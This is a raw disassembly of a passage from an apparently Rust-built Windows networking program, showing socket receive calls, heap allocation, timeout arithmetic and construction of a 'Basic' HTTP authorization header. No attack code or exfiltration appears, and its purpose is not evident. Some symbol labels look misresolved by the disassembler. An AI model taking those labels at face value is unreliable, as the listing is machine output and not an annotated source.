movaps xmm0, xmmword [rbp + 0x590]
movaps xmm1, xmmword [rbp + 0x5a0]
movaps xmm2, xmmword [rbp + 0x5b0]
movaps xmm3, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0xa90], xmm0
movaps xmmword [rbp + 0xaa0], xmm1
movaps xmmword [rbp + 0xab0], xmm2
movaps xmmword [rbp + 0xac0], xmm3
movaps xmm0, xmmword [rbp + 0x5d0]
movaps xmmword [rbp + 0xad0], xmm0
movaps xmm0, xmmword [rbp + 0x5e0]
movaps xmmword [rbp + 0xae0], xmm0
movaps xmm0, xmmword [rbp + 0x5f0]
movaps xmmword [rbp + 0xaf0], xmm0
movaps xmm0, xmmword [rbp + 0x600]
movaps xmmword [rbp + 0xb00], xmm0
movaps xmm0, xmmword [rbp + 0xf70]
movaps xmmword [rbp + 0x8a0], xmm0
movzx eax, byte [rbp + 0xf80]
mov byte [rbp + 0x8b0], al
mov eax, dword [rbp + 0x1088]
mov ecx, dword [rbp + 0x108b]
mov dword [rbp + 0x8f3], ecx
mov dword [rbp + 0x8f0], eax
mov eax, dword [rbp + 0x690]
mov dword [rbp + 0x760], eax
movdqa xmm0, xmmword [rbp + 0x670]
movaps xmm1, xmmword [rbp + 0x680]
movaps xmmword [rbp + 0x750], xmm1
movdqa xmmword [rbp + 0x740], xmm0
mov rax, qword [r15 + 0x1c8]
mov qword [rbp + 0x10c8], rbx
nop
test al, 1
jne 0x14000bc8d
cmp rax, 0xfffffffffffffffe
je 0x14000d17e
lea rcx, [rax + 2]
lock cmpxchg qword [r15 + 0x1c8], rcx
jne 0x14000ba30
lea rcx, [r15 + 0x80]
mov edi, 1
mov ebx, 1
lock xadd qword [r15 + 0x88], rbx
mov rdx, rbx
call fcn.140113f70
and ebx, 0x1f
imul rcx, rbx, 0x118
mov qword [rax + rcx], r14
movaps xmm0, xmmword [rbp + 0xa90]
movaps xmm1, xmmword [rbp + 0xaa0]
movaps xmm2, xmmword [rbp + 0xab0]
movaps xmm3, xmmword [rbp + 0xac0]
movups xmmword [rax + rcx + 8], xmm0
movups xmmword [rax + rcx + 0x18], xmm1
movups xmmword [rax + rcx + 0x28], xmm2
movups xmmword [rax + rcx + 0x38], xmm3
movaps xmm0, xmmword [rbp + 0xad0]
movups xmmword [rax + rcx + 0x48], xmm0
movaps xmm0, xmmword [rbp + 0xae0]
movups xmmword [rax + rcx + 0x58], xmm0
movaps xmm0, xmmword [rbp + 0xaf0]
movups xmmword [rax + rcx + 0x68], xmm0
movaps xmm0, xmmword [rbp + 0xb00]
movups xmmword [rax + rcx + 0x78], xmm0
mov edx, dword [rbp + 0x1094]
mov dword [rax + rcx + 0x88], edx
mov edx, dword [rbp + 0x10a4]
mov dword [rax + rcx + 0x8c], edx
mov edx, dword [rbp + 0x1070]
mov dword [rax + rcx + 0x90], edx
mov edx, dword [rbp + 0x1068]
mov dword [rax + rcx + 0x94], edx
mov rdx, qword [rbp + 0x10b8]
mov qword [rax + rcx + 0x98], rdx
mov rdx, qword [rbp + 0x1080]
mov qword [rax + rcx + 0xa0], rdx
mov rdx, qword [rbp + 0x10c0]
mov qword [rax + rcx + 0xa8], rdx
movzx edx, word [rbp + 0x1030]
mov word [rax + rcx + 0xb0], dx
movzx edx, word [rbp + 0x1010]
mov word [rax + rcx + 0xb2], dx
mov edx, dword [rbp + 0xffc]
mov dword [rax + rcx + 0xb4], edx
mov edx, dword [rbp + 0xff8]
mov dword [rax + rcx + 0xb8], edx
mov edx, dword [rbp + 0xfe0]
mov dword [rax + rcx + 0xbc], edx
mov edx, dword [rbp + 0x1090]
mov dword [rax + rcx + 0xc0], edx
mov edx, dword [rbp + 0xfa8]
mov dword [rax + rcx + 0xc4], edx
movzx edx, byte [rbp + 0x8b0]
mov byte [rax + rcx + 0xd8], dl
movaps xmm0, xmmword [rbp + 0x8a0]
movups xmmword [rax + rcx + 0xc8], xmm0
mov edx, dword [rbp + 0x8f0]
mov r8d, dword [rbp + 0x8f3]
mov dword [rax + rcx + 0xd9], edx
mov dword [rax + rcx + 0xdc], r8d
mov qword [rax + rcx + 0xe0], r13
mov dword [rax + rcx + 0xe8], r12d
movdqa xmm0, xmmword [rbp + 0x740]
movaps xmm1, xmmword [rbp + 0x750]
movdqu xmmword [rax + rcx + 0xec], xmm0
movups xmmword [rax + rcx + 0xfc], xmm1
mov edx, dword [rbp + 0x760]
mov dword [rax + rcx + 0x10c], edx
mov rdx, qword [rbp + 0x10b0]
mov qword [rax + rcx + 0x110], rdx
mov ecx, ebx
shl rdi, cl
lock or qword [rax + 0x2310], rdi
mov rax, qword [r15 + 0x110]
nop word [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r15 + 0x110], rcx
jne 0x14000bc40
test rax, rax
jne 0x14000bc81
mov rax, qword [r15 + 0x100]
mov rcx, qword [r15 + 0x108]
mov qword [r15 + 0x100], 0
lock and qword [r15 + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x14000bc81
call qword [rax + ioctlsocket]
mov rbx, qword [rbp + 0x10c8]
jmp 0x14000bd64
movaps xmm0, xmmword [rbp + 0xb00]
movaps xmmword [rbp + 0x2d0], xmm0
movaps xmm0, xmmword [rbp + 0xaf0]
movaps xmmword [rbp + 0x2c0], xmm0
movaps xmm0, xmmword [rbp + 0xae0]
movaps xmmword [rbp + 0x2b0], xmm0
movaps xmm0, xmmword [rbp + 0xad0]
movaps xmmword [rbp + 0x2a0], xmm0
movaps xmm0, xmmword [rbp + 0xa90]
movaps xmm1, xmmword [rbp + 0xaa0]
movaps xmm2, xmmword [rbp + 0xab0]
movaps xmm3, xmmword [rbp + 0xac0]
movaps xmmword [rbp + 0x290], xmm3
movaps xmmword [rbp + 0x280], xmm2
movaps xmmword [rbp + 0x270], xmm1
movaps xmmword [rbp + 0x260], xmm0
movaps xmm0, xmmword [rbp + 0x8a0]
movaps xmmword [rbp + 0x620], xmm0
movzx eax, byte [rbp + 0x8b0]
mov byte [rbp + 0x630], al
mov eax, dword [rbp + 0x8f0]
mov ecx, dword [rbp + 0x8f3]
mov dword [rbp + 0x1043], ecx
mov dword [rbp + 0x1040], eax
movdqa xmm0, xmmword [rbp + 0x740]
movaps xmm1, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0xec0], xmm0
movaps xmmword [rbp + 0xed0], xmm1
mov eax, dword [rbp + 0x760]
mov dword [rbp + 0xee0], eax
cmp r14, 2
jne 0x14000ce8a
mov r15, qword [rbp + 0x728]
cmp r15, 2
mov qword [rbp + 0x1080], r15
je 0x14000bdd4
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x660], rax
movdqa xmm0, xmmword [rbp + 0x6f0]
movaps xmm1, xmmword [rbp + 0x700]
movaps xmm2, xmmword [rbp + 0x710]
movaps xmm3, xmmword [rbp + 0x720]
movaps xmmword [rbp + 0x650], xmm3
movaps xmmword [rbp + 0x640], xmm2
movaps xmmword [rbp + 0x630], xmm1
movdqa xmmword [rbp + 0x620], xmm0
cmp dword [rbp + 0x10d0], 0x3b9aca00
jne 0x14000bdee
mov r12d, 0x3b9aca00
jmp 0x14000be49
cmp dword [rbp + 0x10d0], 0x3b9aca00
jne 0x14000bf5a
mov edi, 0x3b9aca00
jmp 0x14000bfaf
call fcn.14013ac10
add rax, rbx
jb 0x1400113e2
mov r12d, edx
add r12d, dword [rbp + 0x10d0]
cmp r12d, 0x3b9ac9ff
jbe 0x14000be1f
inc rax
je 0x1400113e2
add r12d, 0xc4653600
mov ecx, r12d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
mov qword [rbp + 0x10b8], rax
jb 0x14000de9e
imul eax, ecx, 0x3b9aca00
sub r12d, eax
call fcn.140130360
test rax, rax
je 0x1400113b0
mov rdi, rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000be86
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14001138c
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14001138c
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rdi
lea rax, fcn.140114620
mov qword [rbp + 0xfc0], rax
mov qword [rbp + 0xfc8], rcx
lea rax, [rbp + 0xfc0]
mov qword [rbp + 0xfe8], rax
mov rax, qword [rbp + 0x10b0]
mov qword [rbp + 0xa90], rax
movdqa xmm0, xmmword [rbp + 0x620]
movaps xmm1, xmmword [rbp + 0x630]
movaps xmm2, xmmword [rbp + 0x640]
movaps xmm3, xmmword [rbp + 0x650]
movdqu xmmword [rbp + 0xa98], xmm0
movups xmmword [rbp + 0xaa8], xmm1
movups xmmword [rbp + 0xab8], xmm2
movups xmmword [rbp + 0xac8], xmm3
mov rax, qword [rbp + 0x660]
mov qword [rbp + 0xad8], rax
mov byte [rbp + 0xae1], 0
lea rbx, [rbp + 0xae8]
lea rsi, [rbp + 0xb30]
xor eax, eax
movzx eax, al
lea rcx, [0x140207cf8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
call fcn.14013ac10
mov rbx, rax
add rbx, qword [rbp + 0x10c8]
jb 0x1400113e2
mov edi, edx
add edi, dword [rbp + 0x10d0]
cmp edi, 0x3b9ac9ff
jbe 0x14000bf8e
inc rbx
je 0x1400113e2
add edi, 0xc4653600
mov eax, edi
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add rbx, rax
jb 0x14000de9e
imul eax, eax, 0x3b9aca00
sub edi, eax
call fcn.140130360
test rax, rax
je 0x1400113b0
mov r14, rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000bfec
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14001138c
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14001138c
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], r14
lea rax, fcn.140114620
mov qword [rbp + 0x8a0], rax
mov qword [rbp + 0x8a8], rcx
lea rax, [rbp + 0x8a0]
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x10b0]
mov qword [rbp + 0x740], rax
mov byte [rbp + 0x750], 0
lea rsi, [rbp + 0x748]
cmp edi, 0x3b9aca00
jne 0x14000c0dd
mov rax, qword [rbp + 0x740]
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0xa90]
lea r8, [rbp + 0x620]
mov rdx, rsi
call fcn.140121250
mov r13, qword [rbp + 0xa90]
cmp r13, 5
jne 0x14000c250
mov byte [rbp + 0x750], 3
lea rdi, [rbp + 0xa90]
lea rbx, [rbp + 0x620]
nop
call fcn.140130510
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140121250
mov r13, qword [rbp + 0xa90]
cmp r13, 5
jne 0x14000c250
mov byte [rbp + 0x750], 3
jmp 0x14000c0b0
mov rax, qword [rbp + 0x740]
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0xa90]
lea r8, [rbp + 0x620]
mov rdx, rsi
call fcn.140121250
mov r13, qword [rbp + 0xa90]
cmp r13, 5
jne 0x14000c250
mov byte [rbp + 0x750], 3
call fcn.14013ac10
mov r8d, edx
cmp rax, rbx
jb 0x14000c135
jne 0x14000c1e2
cmp r8d, edi
jae 0x14000c1e2
mov qword [rbp + 0xa90], rbx
mov dword [rbp + 0xa98], edi
lea r14, [rbp + 0xa90]
mov rcx, r14
mov rdx, rax
call fcn.14013adc0
xor r12d, r12d
cmp edx, 0x3b9aca00
cmove edx, r12d
mov ecx, 0
cmovne rcx, rax
call fcn.1401306f0
lea r15, [rbp + 0x620]
jmp 0x14000c1a8
mov qword [rbp + 0xa90], rbx
mov dword [rbp + 0xa98], edi
mov rcx, r14
mov rdx, rax
call fcn.14013adc0
cmp edx, 0x3b9aca00
cmove edx, r12d
mov ecx, 0
cmovne rcx, rax
call fcn.1401306f0
mov rcx, r14
mov rdx, rsi
mov r8, r15
call fcn.140121250
mov r13, qword [rbp + 0xa90]
cmp r13, 5
jne 0x14000c250
mov byte [rbp + 0x750], 3
call fcn.14013ac10
mov r8d, edx
cmp rax, rbx
jb 0x14000c178
jne 0x14000c1e2
cmp r8d, edi
jb 0x14000c178
mov rsi, qword [rbp + 0x748]
mov r13d, 4
test rsi, rsi
je 0x14000c4f7
mov rax, qword [rsi + 0x30]
mov rbx, qword [rbp + 0x10c8]
mov r14, qword [rbp + 0x1018]
mov r15, qword [rbp + 0x1080]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x14000c211
and eax, 0xa
cmp eax, 8
jne 0x14000c233
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rsi]
jne 0x14000c513
mov rcx, qword [rbp + 0x748]
call fcn.1401144f0
xor edi, edi
jmp 0x14000c2f7
mov rdi, qword [rbp + 0xa98]
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x260]
mov r8d, 0x88
call sub.VCRUNTIME140.dll_memcpy
mov rsi, qword [rbp + 0x748]
test rsi, rsi
mov rbx, qword [rbp + 0x10c8]
mov r14, qword [rbp + 0x1018]
mov r15, qword [rbp + 0x1080]
je 0x14000c2d4
mov rax, qword [rsi + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x14000c2a0
and eax, 0xa
cmp eax, 8
jne 0x14000c2c2
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rsi]
jne 0x14000c2d4
mov rcx, qword [rbp + 0x748]
call fcn.1401144f0
cmp r13d, 4
je 0x14000cdef
lea rcx, [rbp + 0xec0]
lea rdx, [rbp + 0x260]
mov r8d, 0x88
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x8a0]
mov rcx, qword [rbp + 0x8a8]
call qword [rax + 0x18]
cmp r13d, 3
jne 0x14000d195
jmp 0x14000f272
movups xmm0, xmmword [rbp + 0x6e0]
movups xmmword [rbp + 0x2b0], xmm0
movups xmm0, xmmword [rbp + 0x6a0]
movups xmm1, xmmword [rbp + 0x6b0]
movups xmm2, xmmword [rbp + 0x6c0]
movups xmm3, xmmword [rbp + 0x6d0]
movups xmmword [rbp + 0x2a0], xmm3
movups xmmword [rbp + 0x290], xmm2
movups xmmword [rbp + 0x280], xmm1
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x260], 0
lea rcx, [rbp + 0x260]
call fcn.140121a40
movups xmm0, xmmword [rbp + 0x2b0]
movaps xmmword [rbp + 0x970], xmm0
movups xmm0, xmmword [rbp + 0x2a0]
movaps xmmword [rbp + 0x960], xmm0
movups xmm0, xmmword [rbp + 0x260]
movups xmm1, xmmword [rbp + 0x270]
movups xmm2, xmmword [rbp + 0x280]
movups xmm3, xmmword [rbp + 0x290]
movaps xmmword [rbp + 0x950], xmm3
movaps xmmword [rbp + 0x940], xmm2
movaps xmmword [rbp + 0x930], xmm1
movaps xmmword [rbp + 0x920], xmm0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000c3f4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000cdf6
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x60
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000cdf6
mov rsi, rax
movaps xmm0, xmmword [rbp + 0x970]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [rbp + 0x960]
movups xmmword [rax + 0x40], xmm0
movdqa xmm0, xmmword [rbp + 0x920]
movaps xmm1, xmmword [rbp + 0x930]
movaps xmm2, xmmword [rbp + 0x940]
movaps xmm3, xmmword [rbp + 0x950]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
xor ebx, ebx
mov rax, qword [rbp + 0xba0]
cmp rax, 2
jne 0x14000b2eb
jmp 0x14000b352
mov r15, qword [rbp + 0xa98]
mov r14, qword [rbp + 0xaa0]
mov rbx, qword [rbp + 0xaa8]
test r15, r15
jne 0x14000c531
test rbx, rbx
je 0x14000c51a
js 0x140011385
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000c4be
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000c4d1
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x14000c520
mov ecx, 1
mov rdx, rbx
call fcn.14015d7f0
ud2
xor r13d, r13d
mov rsi, rax
xor r12d, r12d
test r14, r14
jne 0x14000b688
jmp 0x14000b694
xor edi, edi
mov rbx, qword [rbp + 0x10c8]
mov r14, qword [rbp + 0x1018]
mov r15, qword [rbp + 0x1080]
jmp 0x14000c2f7
xor edi, edi
jmp 0x14000c2f7
mov r15d, 1
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r14, rbx
mov rcx, rdi
call fcn.14015b930
test rax, rax
je 0x14000c55d
mov r8, rdx
add r8, rax
lea rcx, [rbp + 0xa90]
mov rdx, rax
call fcn.1400a0d50
cmp qword [rbp + 0xa90], 0
je 0x14000c564
xor r12d, r12d
xor eax, eax
jmp 0x14000c5a2
mov rax, qword [rbp + 0xaa8]
mov qword [rbp + 0x270], rax
movdqu xmm0, xmmword [rbp + 0xa98]
movdqa xmmword [rbp + 0x260], xmm0
lea rcx, [rbp + 0x740]
lea rdx, [rbp + 0x260]
call fcn.140014da0
mov r12, qword [rbp + 0x740]
test r12, r12
setne al
test rbx, rbx
jne 0x14000c5cb
test al, al
jne 0x14000c5cb
test r14, r14
je 0x14000aaa6
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000aaa6
mov rcx, rdi
call fcn.14015b150
test al, al
jne 0x14000d096
mov rcx, rdi
call fcn.14015b630
test al, al
jne 0x14000d0ab
movdqu xmm0, xmmword [rbp + 0x748]
movdqa xmmword [rbp + 0xa70], xmm0
test r15, r15
je 0x14000aaa6
mov qword [rbp + 0x8f0], r15
mov qword [rbp + 0x8f8], r14
mov qword [rbp + 0x900], rbx
lea rcx, [rbp + 0x260]
lea rdx, [rbp + 0x920]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000c65e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000d0d8
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 6
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000d0d8
mov word [rax + 4], 0x2063
mov dword [rax], 0x69736142
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], 6
mov qword [rbp + 0x700], 6
mov byte [rbp + 0xeb2], 0
mov word [rbp + 0xeb0], 0
mov r8d, 0x400
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1401d9baa]
mov qword [rbp + 0xea8], rax
lea rax, [rbp + 0x6f0]
mov qword [rbp + 0xe90], rax
mov byte [rbp + 0xeb3], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xe98], xmm0
lea rax, [rbp + 0x8f0]
mov qword [rbp + 0x1040], rax
lea rax, [0x140005df0]
mov qword [rbp + 0x1048], rax
lea rax, [0x1401d6580]
mov qword [rbp + 0x740], rax
mov qword [rbp + 0x748], 2
mov qword [rbp + 0x760], 0
lea rax, [rbp + 0x1040]
mov qword [rbp + 0x750], rax
mov qword [rbp + 0x758], 1
mov qword [rbp + 0x8a0], rsi
mov qword [rbp + 0x8a8], 0
lea rdx, [0x1401d4978]
lea rdi, [rbp + 0x8a0]
lea r8, [rbp + 0x740]
mov rcx, rdi
call fcn.140059e20
mov rcx, qword [rbp + 0x8a8]
test al, al
je 0x14000c7a6
test rcx, rcx
lea rax, str.formatter_error
cmovne rax, rcx
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14000c7fd
lea rbx, [rax - 1]
mov r14, qword [rax - 1]
mov r15, qword [rax + 7]
jmp 0x14000c7c1
test rcx, rcx
je 0x14000c7fd
mov eax, ecx
and eax, 3
cmp eax, 1
jne 0x14000c7fd
lea rbx, [rcx - 1]
mov r14, qword [rcx - 1]
mov r15, qword [rcx + 7]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
je 0x14000c7eb
cmp qword [r15 + 0x10], 0x11
jb 0x14000c7d9
mov r14, qword [r14 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r12, r12
je 0x14000c942
mov qword [rbp + 0x8a0], r12
movdqa xmm0, xmmword [rbp + 0xa70]
movdqu xmmword [rbp + 0x8a8], xmm0
mov qword [rbp + 0xf50], rdi
lea rax, [0x140005df0]
mov qword [rbp + 0xf58], rax
lea rax, [0x140204aa8]
mov qword [rbp + 0x740], rax
mov qword [rbp + 0x748], 1
mov qword [rbp + 0x760], 0
lea rax, [rbp + 0xf50]
mov qword [rbp + 0x750], rax
mov qword [rbp + 0x758], 1
mov qword [rbp + 0x1040], rsi
mov qword [rbp + 0x1048], 0
lea rdx, [0x1401d4978]
lea rcx, [rbp + 0x1040]
lea r8, [rbp + 0x740]
call fcn.140059e20
mov rcx, qword [rbp + 0x1048]
test al, al
je 0x14000c8cc
test rcx, rcx
lea rax, str.formatter_error
cmovne rax, rcx
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14000c922
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
jmp 0x14000c8e7
test rcx, rcx
je 0x14000c922
mov eax, ecx
and eax, 3
cmp eax, 1
jne 0x14000c922
lea rsi, [rcx - 1]
mov rdi, qword [rcx - 1]
mov rbx, qword [rcx + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14000c910
cmp qword [rbx + 0x10], 0x11
jb 0x14000c8fe
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x8a8], 0
je 0x14000c942
mov r8, qword [rbp + 0x8a0]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rbp + 0xa90]
call fcn.1400ab920
mov rdi, qword [rbp + 0x6f0]
mov rsi, qword [rbp + 0x700]
xor eax, eax
cmp rsi, rax
je 0x14000c9b0
movzx r8d, byte [rdi + rax]
cmp r8b, 0x20
setae cl
cmp r8b, 0x7f
setne dl
inc rax
cmp r8b, 9
je 0x14000c95e
and cl, dl
jne 0x14000c95e
lea rax, [0x1401d9d70]
mov qword [rsp + 0x20], rax
lea rcx, str.base64_is_always_valid_HeaderValueC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcutil.rs
lea r9, [0x1401d4bf8]
lea r8, [rbp + 0x1040]
mov edx, 0x22
call fcn.140161200
ud2
test rsi, rsi
je 0x14000ca21
js 0x140011385
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000c9e7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140010bd6
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140010bd6
mov rbx, rax
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
test bl, 1
jne 0x14000ca35
mov rax, rbx
or rax, 1
lea rcx, [0x1401a9358]
jmp 0x14000ca3f
lea rbx, [0x140204680]
xor eax, eax
xor esi, esi
lea rcx, [0x1401d3af8]
jmp 0x14000ca3f
lea rcx, [0x1401a9370]
mov rax, rbx
mov qword [rbp + 0x590], rcx
mov qword [rbp + 0x598], rbx
mov qword [rbp + 0x5a0], rsi
mov qword [rbp + 0x5a8], rax
mov eax, dword [rbp + 0xa91]
mov ecx, dword [rbp + 0xa94]
mov dword [rbp + 0x5b1], eax
mov dword [rbp + 0x5b4], ecx
mov byte [rbp + 0x5b0], 1
cmp qword [rbp + 0x6f8], 0
je 0x14000ca9a
mov r8, qword [rbp + 0x6f0]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x8f8], 0
lea rdi, [rbp + 0xec0]
je 0x14000cac1
mov r8, qword [rbp + 0x8f0]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rbp + 0x260], 2
jne 0x14000cb0a
lea rsi, [rbp + 0x5a8]
lea rcx, [rbp + 0x740]
lea rdx, [rbp + 0x260]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x590]
mov rdx, qword [rbp + 0x598]
mov r8, qword [rbp + 0x5a0]
mov rcx, rsi
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14000aac6
movups xmm0, xmmword [0x1401d8a78]
movaps xmmword [rbp + 0x8b0], xmm0
movups xmm0, xmmword [0x1401d8a68]
movaps xmmword [rbp + 0x8a0], xmm0
mov rax, qword [rbp + 0x5b0]
mov qword [rbp + 0x760], rax
movdqu xmm0, xmmword [rbp + 0x590]
movups xmm1, xmmword [rbp + 0x5a0]
movaps xmmword [rbp + 0x750], xmm1
movdqa xmmword [rbp + 0x740], xmm0
movaps xmmword [rbp + 0xaa0], xmm1
movdqa xmmword [rbp + 0xa90], xmm0
mov eax, dword [rbp + 0x761]
mov ecx, dword [rbp + 0x764]
mov dword [rbp + 0xab1], eax
mov dword [rbp + 0xab4], ecx
lea rcx, [rbp + 0x288]
mov byte [rbp + 0xab0], 1
lea rdx, [rbp + 0x8a0]
lea r8, [rbp + 0xa90]
call fcn.140112df0
lea rcx, [rbp + 0x740]
lea rdx, [rbp + 0x260]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14000aac6
add rcx, rax
mov qword [rbp + 0xa90], r12
mov qword [rbp + 0xa98], 0x1d
mov qword [rbp + 0xaa0], 0x1d
mov qword [rbp + 0xaa8], rcx
lea rax, [0x1401de540]
mov qword [rsp + 0x20], rax
lea rcx, str.thread_name_may_not_contain_interior_null_bytes
lea r9, fcn.140022090
lea r8, [rbp + 0xa90]
mov edx, 0x2f
call fcn.140161200
ud2
mov ecx, 8
mov edx, 0xd0
call fcn.14015d7f0
ud2
mov ecx, 2
mov edx, 8
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x2320
call fcn.14015d7f0
ud2
mov ecx, 0x80
mov edx, 0x200
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x48
call fcn.14015d7f0
ud2
mov ecx, 1
mov edx, 0x1d
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x1c0
call fcn.14015d7f0
ud2
lea rax, [0x140169420]
mov qword [rbp + 0xa90], rax
mov qword [rbp + 0xa98], 1
lea rax, [0x140204680]
mov qword [rbp + 0xaa0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xaa8], xmm0
lea rdx, [0x140169430]
jmp 0x14000de5d
lock dec qword [rdi]
jne 0x14000ccf0
lea rcx, [rbp + 0x740]
call fcn.1400bc040
lock dec qword [r12]
je 0x14000ccf7
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
je 0x14000cd12
jmp 0x14000cd2b
lock dec qword [r12]
jne 0x14000ccdb
mov rcx, r12
call fcn.140005590
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000cd2b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000de6b
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000de6b
mov r12, rax
mov qword [rax], r15
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000cd74
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000de8d
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000de8d
mov r13, rax
mov dword [rax], 2
mov qword [rax + 0x58], r12
lea rax, [0x1401d2c10]
mov qword [r13 + 0x60], rax
mov word [r13 + 0x68], 0
mov rax, qword [rbx + 0x40]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x14000cdae
and eax, 0xa
cmp eax, 8
